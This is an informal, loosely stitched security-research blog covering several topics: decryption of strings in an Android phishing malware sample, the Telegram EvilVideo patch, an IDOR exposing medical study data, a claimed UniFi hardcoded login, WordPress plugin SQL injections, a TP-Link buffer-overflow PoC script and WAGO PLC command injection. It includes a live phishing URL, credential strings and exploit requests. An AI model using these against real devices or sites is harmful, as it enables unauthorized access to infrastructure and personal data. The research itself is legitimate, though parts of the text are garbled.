Mi0r4sora

fun life is better than every money vulnerability research just for fun

Unfortunately, I didn't have anything to do today, so I made it for myself

Mohammad and I were really looking for fun, so this was the best thing

Follow mohammad on Twitter if you like: https://x.com/mohammad0x07

You can download the malware sample from here if you want to analyze it:

https://t.me/sample_abad/2

Today's story happened like this, one of my friends called me that he got a SMS for his father and we thought it was a malware.

First step I opened it in jadx And I saw that all the strings are encrypted for example:

   gatherLinks(arrayList, spannable, PatternsCompat.AUTOLINK_EMAIL_ADDRESS, new String[]{C0004.m114("ScKit-a36ea730c6bf55196a2268cf1662a470", "ScKit-55e2d74905834a25")}, null, null);
       

To get a readable string, function m114 is called

    public static String m114(String str, String key) {
        return new String(decode(hexToByteArray(str.replace("ScKit-", "")), key), defaultCharset);
    }

We can see that we see two interesting functions called decode and also hexToByteArray

    public static byte[] hexToByteArray(String inHex) {
        byte[] result;
        int hexlen = inHex.length();
        if (hexlen % 2 == 1) { 
            hexlen++;
            result = new byte[hexlen / 2];
            inHex = "0" + inHex;
        } else {
            result = new byte[hexlen / 2];
        }
        int j = 0;
        for (int i = 0; i < hexlen; i += 2) {
            result[j] = (byte) Integer.parseInt(inHex.substring(i, i + 2), 16);
            j++;
        }
        return result;
    }

In the first line, we have a byte representation, and then the value of len is checked each time, then the remainder is checked to one, if it is correct, one is added to it, and then the result value is equal to 0 plus the value in the string and is equal to the variable it is inhex, otherwise it is divided by 2 in presentation and equal to the result

It is a counter in the j value and each time it takes the substring value according to the source code for the key

and

    private static byte[] decode(byte[] data, String keyStr) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(encodePass(keyStr).getBytes(), AESTYPE);
            Cipher cipher = Cipher.getInstance(AESTYPE);
            cipher.init(2, keySpec);
            byte[] decrypt = cipher.doFinal(data);
            return decrypt;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

We need two more functions for analysis to write decoder Here we see that the value of the key is first passed with two arguments, that is, the value of the encryption type, which is aes, and the encrypted value of the key.

    public static String encodePass(String pass) {
        return encodeToMD516(pass).toLowerCase();
    }


We can see that encodepass does not do anything special and calls another function

    public static String encodeToMD516(String encryptStr) {
        return encodeToMD5(encryptStr).substring(8, 24);
    }

and also these one...

    public static String encodeToMD5(String string) {
        try {
            MessageDigest md5 = MessageDigest.getInstance("MD5");
            byte[] bytes = md5.digest(string.getBytes());
            String result = "";
            for (byte b : bytes) {
                String temp = Integer.toHexString(b & 255);
                if (temp.length() == 1) {
                    temp = "0" + temp;
                }
                result = result + temp;
            }
            return result;
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
            return "";
        }
    }

But here we see interesting things

To write the decoder, we put all the parts together, we could write all the functions in one function, but it is not bad to be busy.

import hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

def encode_to_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    return md5_hash.hexdigest()

def encode_to_md516(encryptStr):
    md5_hex = encode_to_md5(encryptStr)
    return md5_hex[8:24]

def encode_pass(pass_str):
    return encode_to_md516(pass_str).lower()

def hex_to_byte_array(hex_str):
    if len(hex_str) % 2 == 1:
        hex_str = '0' + hex_str
    return bytes.fromhex(hex_str)

def decrypt(data_hex, key_str):
    data = hex_to_byte_array(data_hex)
    key = encode_pass(key_str).encode('utf-8')
    cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=default_backend())
    decryptor = cipher.decryptor()
    decrypted_data = decryptor.update(data) + decryptor.finalize()
    return decrypted_data.decode('utf-8', errors='ignore')

encrypted_str = "f290a56029aa8d1ba33354a1f590e780"
key_str = "ScKit-55e2d74905834a25"

decrypted_message = decrypt(encrypted_str, key_str)
print(decrypted_message)

After this, I told Mohammad that nox would not open for me, so he took over the testing of this section

He saw that requests are going to this server for phishing https://iryns.com/%F0%9D%90%9C%E2%80%8C%E2%80%8C/pay/

so much fun

so much fun

i think to my self to whois is but nothing...

Domain name: iryns.com
Registry Domain ID: 2913172473_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 0001-01-01T00:00:00.00Z
Creation Date: 2024-09-01T21:26:17.00Z
Registrar Registration Expiration Date: 2025-09-01T21:26:17.00Z
Registrar: NAMECHEAP INC
Registrar IANA ID: 1068
Registrar Abuse Contact Email: 
Registrar Abuse Contact Phone: +1.9854014545
Reseller: NAMECHEAP INC
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: 
Registrant Name: Redacted for Privacy
Registrant Organization: Privacy service provided by Withheld for Privacy ehf
Registrant Street: Kalkofnsvegur 2 
Registrant City: Reykjavik
Registrant State/Province: Capital Region
Registrant Postal Code: 101
Registrant Country: IS
Registrant Phone: +354.4212434
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: 
Registry Admin ID: 
Admin Name: Redacted for Privacy
Admin Organization: Privacy service provided by Withheld for Privacy ehf
Admin Street: Kalkofnsvegur 2 
Admin City: Reykjavik
Admin State/Province: Capital Region
Admin Postal Code: 101
Admin Country: IS
Admin Phone: +354.4212434
Admin Phone Ext: 
Admin Fax: 
Admin Fax Ext: 
Admin Email: 
Registry Tech ID: 
Tech Name: Redacted for Privacy
Tech Organization: Privacy service provided by Withheld for Privacy ehf
Tech Street: Kalkofnsvegur 2 
Tech City: Reykjavik
Tech State/Province: Capital Region
Tech Postal Code: 101
Tech Country: IS
Tech Phone: +354.4212434
Tech Phone Ext: 
Tech Fax: 
Tech Fax Ext: 
Tech Email: 
Name Server: achiel.ns.cloudflare.com
Name Server: addilyn.ns.cloudflare.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
For more information on Whois status codes, please visit https://icann.org/epp

so i fuzz for sql injection on phishing page but its also have nothing......

POST /%F0%9D%90%9C%E2%80%8C%E2%80%8C/pay/pay.php HTTP/2
Host: iryns.com
Cookie: PHPSESSID=grg4e0l7lomj2c59m48ph1aoo4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 206
Origin: https://iryns.com
Referer: https://iryns.com/%F0%9D%90%9C%E2%80%8C%E2%80%8C/pay/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"pan":"5047061000000000","selectedPanIndex":-1,"pin":"131231231231","cvv2":"0000","expireMonth":"07","expireYear":"07","captcha":"13123","payerId":null,"email":"","code":"8D20573198BF12D1","savePan":false}

Maybe we can look for people and hackers in it, we found a few people in the phase of decoding the string, but they were innocent, so we went to other parts by examining the behavior in several other malwares.

like :https://www.virustotal.com/gui/file/e11b47d5ff10d354a6fdd5189e6dcfcb5b0cc6f63c896eead34c8b57ae4bf993?nocache=1

Here I saw some interesting things by someone I don't know about the results of different antiviruses compared to subsidized malware.

so much fun

And I saw some interesting things The behavior of both malware is the same

For example, both of them first look for credentials with the same method and have similar activities

For example, the names of some functions and libraries were also the same

I have to skip and say at the end that we found them with these similarity

virustotal link adl iran malware:

https://www.virustotal.com/gui/file/3589914ac5d022667b0e76c7771c1aba2c7524d2dcf4fb06a78e9a590364f876/detection

news:
https://restoreprivacy.com/telegram-for-android-hit-by-zero-day-evilvideo-exploit/

the only patch for file mime type check and handle is these function

before patch:

 public static boolean openForView(File f, String fileName, String mimeType, final Activity activity, Theme.ResourcesProvider resourcesProvider) {
after patch 

public static boolean openForView(File f, String fileName, String mimeType, final Activity activity, Theme.ResourcesProvider resourcesProvider, boolean restrict) {

in first line :

        if (f != null && f.exists()) {
            String realMimeType = null;
            Intent intent = new Intent(Intent.ACTION_VIEW);

The first line checks whether the file exists or not After that, the mimetype value is set to null . after that for video player and intent activity on android

example

https://stackoverflow.com/questions/10430073/android-intent-action-view

after that check for file type after “.” string

            int idx = fileName.lastIndexOf('.');
            if (idx != -1) {
                String ext = fileName.substring(idx + 1);

in new version the telegram check for some hashcodes for ext of substring of filename –> filetype (cooool we can do it and add some hashcode maybe?)

after patch before patch these condition doesn't exist

                int h = ext.toLowerCase().hashCode();
                if (restrict && (h == 0x17a1c || h == 0x3107ab || h == 0x19a1b || h == 0xe55 || h == 0x18417)) {
                    return true;
                }

in 14.3 version after the ext and get the filetype index

                realMimeType = myMime.getMimeTypeFromExtension(ext.toLowerCase());
                if (realMimeType == null) {
                    realMimeType = mimeType;

canRequestPackageInstalls from google documents:

Checks whether the calling package is allowed to request package installs through package installer. Apps are encouraged to call this API before launching the package installer via intent Intent.ACTION_INSTALL_PACKAGE. Starting from Android O, the user can explicitly choose what external sources they trust to install apps on the device. If this API returns false, the install request will be blocked by the package installer and a dialog will be shown to the user with an option to launch settings to change their preference. An application must target Android O or higher and declare permission Manifest.permission.REQUEST_INSTALL_PACKAGES in order to use this API.

after that as you can see the video send the request for installation of the app in here just check for string license and after that install it

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O && realMimeType != null && realMimeType.equals("application/vnd.android.package-archive") && !ApplicationLoader.applicationContext.getPackageManager().canRequestPackageInstalls()) {
                AlertsCreator.createApkRestrictedDialog(activity, resourcesProvider).show();
                return true;

so what the vulnerability?

in these condition its dont check any restriction and in the patch they add condition check for restrict

          if (realMimeType != null && realMimeType.equals("application/vnd.android.package-archive")) {
                if (restrict) return true; //here
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O && !ApplicationLoader.applicationContext.getPackageManager().canRequestPackageInstalls()) {
                    AlertsCreator.createApkRestrictedDialog(activity, resourcesProvider).show();
                    return true;
                }

so what is restrict the hash code check is the restrict of media check

                int h = ext.toLowerCase().hashCode();
                if (restrict && (h == 0x17a1c || h == 0x3107ab || h == 0x19a1b || h == 0xe55 || h == 0x18417)) {
                    return true;
                }

so in the vulnerable version anyone can request to install package but in new version they add restrict for some part of code if the restrict is true and the hash checks is valid they can request the restrict set static by program and the attacker can't access to it

in the vulnerable version they call these like these without any check

    public static boolean openForView(TLRPC.Document document, boolean forceCache, Activity activity) {
        String fileName = FileLoader.getAttachFileName(document);
        File f = FileLoader.getInstance(UserConfig.selectedAccount).getPathToAttach(document, true);
        return openForView(f, fileName, document.mime_type, activity, null);// 这里(here)

the file gonna be load without any problem and can send request for install packages these Feature use for players

first if the video can't play they call the openforview :)

                    builder.setMessage(LocaleController.getString("CantPlayVideo", R.string.CantPlayVideo));
                    builder.setPositiveButton(LocaleController.getString("Open", R.string.Open), (dialog, which) -> {
                        try {
                            AndroidUtilities.openForView(currentMessageObject, parentActivity, resourcesProvider);

so how the attacker can attach file like video?

in the vulnerable version to check is these the video or not its have some checks the checks only for it use

       boolean isAnimated = false;
        boolean isVideo = false;
for (int a = 0; a < document.attributes.size(); a++) {
            TLRPC.DocumentAttribute attribute = document.attributes.get(a);
            if (attribute instanceof TLRPC.TL_documentAttributeVideo) {
                if (attribute.round_message) {
                    return false;
                }
                isVideo = true;
                width = attribute.w;
                height = attribute.h;
            } else if (attribute instanceof TLRPC.TL_documentAttributeAnimated) {
                isAnimated = true;

in the file only thing it need to introduce him self as an video is the control the attributes and cool part of it is handling the width and height. the only thing file need its the have the TLRPC document and be animated .

after patch they just add some hash checks

        if (filename != null) {
            int index = filename.lastIndexOf(".");
            if (index >= 0) {
                String ext = filename.substring(index + 1);
                switch (ext.toLowerCase().hashCode()) {
                    case 0x17a1c: case 0x3107ab: case 0x19a1b:
                    case 0xe55:   case 0x18417:  case 0x184fe:
                    case 0x18181:
                        return false;

i guess i screwed up lot of vulnerabilities so for now i dont have 1 dollar the new the newest bug i exploited is these the idor in the one of biggest programs i dont write the leak word in my report so its get informative and patched hmmm..

step1 – go to search bar and search dummy data step 2- change the filtertype to 1 to disable it

original request: 

GET /sdportal/StudyList/StudyListResult?source=Cardiology&server=server2&filterName=QuickSearch&filterType=0&search=alldays-admin&_search=false&nd=1719508416301&rows=50&page=1&sidx=StudyDate&sord=desc HTTP/1.1
Host: server1.domain.tld
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=1
Te: trailers
Connection: keep-alive

After that we respond to many data of users and employees like uid and gender and username etc... The interesting part of this story is the data of users that we read the data from server2 but access to server1 and send we do. request from server1 and we can read a lot of data that we don't have access to the server one if we search anything the response is [] but in here after disable the filter we have lot of data

      "StudyStatus": "UNREAD",
      "Reports": "",
      "PDFReports": "",
      "DiagnosingPhysician": [],
      "ReferringPhysician": null,
      "Diagnosis": "",
      "StudyLocation": "Online",
      "PriorStudies": 1,
      "Modality": "SRXA",
      "OriginalModality": "SRXA",
      "NumberOfImages": 12,
      "Indication": "",
      "Technologist": [],
      "Custom1": "",
      "Custom2": "",
      "ServerName": "server2",
      "Department": "Cardiology",
      "ReportUploadStatus": "",
      "MasterPatientId": null,
      "StudyPerformed": "",
      "UID": "uid user",
      "IsViewableInPir": true,
      "IsStudyLocked": false,
      "IsTrinityEnabled": false,
      "IsPDFReportAvailable": false,
      "Sex": "",
      "IsADTReconciled": false,
      "IsORMAssociated": false,
      "NumberOfConflicts": 0
    },

after send we get informative

firmware format device version:BZ.MT7622_6.6.55+15189.231127.1104 type:unifi u6 lr

in binary blebrd we can see lot of parameter handlers and after get some search we can see the parameter def-password,def-username after some search we can see the controlled params for default credential use hardcoded password and user name to get access to device

in these part for def-username we can see the param2 defined and after that the def-username use the param2 offset to get data these is also for def-password like these .

the blebrd is the web server of the unifi device

so we can login into all devices from wan and get access to them:) with json or like these for example def-password=D_DpOT0_EUlDpOT_E_& def-username=D_DpOT0_EUlDpOT_E_

        00458140    cbz        param_1 ,LAB_00458178
        00458144    adrp       param_2 ,s_D_DpOT0_EUlDpOT_E__00565f58+168       = "D_DpOT0_EUlDpOT_E_"
        00458148     add        param_2 =>s_def-username_00566902 ,param_2 ,#0x902 = "def-username"
        0045814c     mov        param_1 ,x21

so much fun

plugin wpforo 2.3.4 is vulnerable to sql injection these I need to inject sql in some plugins, so I am working on these plugins, also the last post I made is that both of them are sql injection and they solve my project, so I will start after a little I am looking for this CVE-2024-3200. But I have to say that I didn't see this vulnerability after working on that authentication and start working so after finishing working on this cve I started working on html5 video player last cve sql injection

but lets analyses these vulnerability

after so much check and read how it work i see these so much fun

in file boards.php –> line: 289 after see i search what do the boards.php i search on guide of the plugin and see these :(

so after that i see these is authenticated

To create a new board, you should navigate in Dashboard to wpForo > Boards admin page and click the [Add new] button: Fill and select your preferred values for following fields: Board Title: The new discussion board title which will be displayed on the forum header section. 

so the parameters we can execute the sql query is them slug params in the description sluginclude and slugexclude

so much fun

after these the parameter of args is append to $sql var and execute

After analyzing the plugin and understanding how it works and how it differs, I see some interesting things in this file:

wp-content/plugins/html5-video-player/inc/Rest/VideoController.php the diff of thes patch

So in this function we can see that the attacker can escape in the sql str and does not need to do anything like add ecape chars or bypass anything

and here we can see the vulnerable route /wp-json/h5vp/v1/video/

sql injection

so we know anything we need to know :) also the request method is post and the vulnerable parameter is “id”

request is these:

$request = array( 'method' => 'POST', 'body' => $params, 'timeout' => 60, );

also i see some xss patches in these plugin in the version 2.5.26 of these plugin

If someone asks me what do you think about air gap networks, I will answer that this is a very good way to increase network security. But if they say that it cannot be hacked at all, I will show them this sample and articles along with the source code.

an example struct to get am 1580 khz frequency from bus cpu to dest with that structure and use the time palse of cpu to send it over the airgapped network.

hmm we can do these with some function like the hostgetclock_service

One day when I was really bored, I told my friends to send me the models and types of routers and iot devices they have so that I can send them an example of vulnerabilities. In the meantime, they said the name of this device is tp-link

In the first part, I went to /etc to check the entries so that I can get through it the type of input data of the interfaces and things like this. The best parts that are really interesting for us to develop the exploit are ppp and pppoe and also l2tp and so on. http are for this part In this part I went to httpd which is a custom web server to start with

Cosmic radiation

In the above image, I saw io, which is the input and output controller, which is referenced to several functions that you see

Cosmic radiation

The function searches for different paths and returns 404 if there is none

Cosmic radiation

the interesting route

The input is parsed from the http header side on the

Cosmic radiation

vulnerable function: httprpmauth_main

vulnerability : if (param1[0xd] == 1) { pcVar3 = “adminName=%s\nadminPwd=%s\n”; } else { pcVar3 = “userName=%s\nuserPwd=%s\n”; } sprintf(acStack1fbc,pcVar3); iVar1 = rdpsetObj(0,“USERCFG”,&local1fec,acStack1fbc,2);

these one is realte show me get header requests parameters and copy it to stack with sprintf after that i nee know which route get input to it so i guss maybe these function xref to him route

httpaliasaddEntryByArg(2,“/cgi/auth”,(char *)0x0,(int)httprpmauthmain,ghttpauthordefault); the param1 is int i dont have any idea what these do so i need analyse these function param2 is route param3 is 0x0 param4 call the function to get parameters of header requests param_5 may be these is an default parameter set by device

so in these route we can use these parameters of http header to get overflow?

import requests headers = {“Host”: “192.168.0.1”, “User-Agent”: “Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0”, “Accept”: “/”,“Accept-Language”: “en-US,en;q=0.5”, “Accept-Encoding”: “gzip, deflate”,“Content-Type”: “text/plain”, “Content-Length”: “78”,“Origin”: “http://192.168.0.1", “Connection”: “close”, “Referer”: “http://192.168.0.1/"}

may be these payload = “a” * 2048 formdata = “[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,userName={}nuserPwd=1231313”.format(payload) url = “http://192.168.0.1/cgi?8" response = requests.post(url, data=formdata, headers=headers) print response.text

if doesn't work change the parameters to true one of them and test it to get crash so we can exploit it like that

i guss some day i wanna research about the some plc devices and i see these device on the shodan hmmm... i dont know anything about it soooo i download the software and firmware from site and start research hmm

and i see these Cosmic radiation

the tftp port on it is default open why? hmm so i check these on the some critical devices and i see these bruh we can access the root on these

and we can access to device after i see that i think to my self i have zero day ? but to day i see these vulnerability be patched as these cve CVE-2019–9201

these vulnerability like the shell access port open without any credentials :/

to day i explain how we can exploit the command injection vulnerability in wago pfc200 firmware.

the command injection is vulnerability to allow attacker  to output its own commands at the device and access to it.

vulnerability is  on these directory: pfc200/var/www/wbm/php

and filename is :session_lifetime.inc.php

these function sent request is responsible for checking the username parameter in the ID session each time PHPSESS .

we cant injecting the command on the session just we need the check these function where be use on the web server and inject our own command for fun :)

Cosmic radiation

In order to give them a little more time, I will not publish this yet (i talk about poc and other stuff like that)

so these is realy shity command injection on these function :/

why you use these ?

I have reported it but still no response after 1 week also i have 2 other vulnerability on the iocheckd service but i dont like to report it

these is wan side vulnerability and these device is use realy critical infrastructure